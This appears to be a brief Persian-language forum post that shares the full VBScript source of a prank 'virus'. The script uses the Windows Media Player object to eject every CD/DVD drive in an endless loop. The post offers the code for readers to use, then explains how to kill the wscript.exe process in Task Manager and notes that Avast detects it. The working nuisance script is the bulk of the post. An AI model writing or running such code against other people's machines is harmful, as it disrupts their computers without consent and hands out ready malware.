باز و بسته شدن دي وي دي رام

این ویروس که خیلی هم اخیرا پخش شده کد اون را برای علاقه مندان میذارم تا اگر دوست داشتن در زمینه های مثبت استفاده کنن.

Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection

if colCDROMs.Count >= 1 then
do

  For i = 0 to colCDROMs.Count - 1
    colCDROMs.Item(i).Eject
  Next ' cdrom

  For i = 0 to colCDROMs.Count - 1
    colCDROMs.Item(i).Eject
  Next ' cdrom

loop
End If

برای غیر فعال کردنش هم باید با زدن کلید های ترکیبی Ctrl+Alt +Delete به task manager  برید  و بعد به سر برگ processes برید و پروسه wscript.exe را  پیدا کنید و دکمه  end task را بزنید

اینو آنتی ویروس اوست هم پیدا میکنه و پاکش میکنه

موفق باشد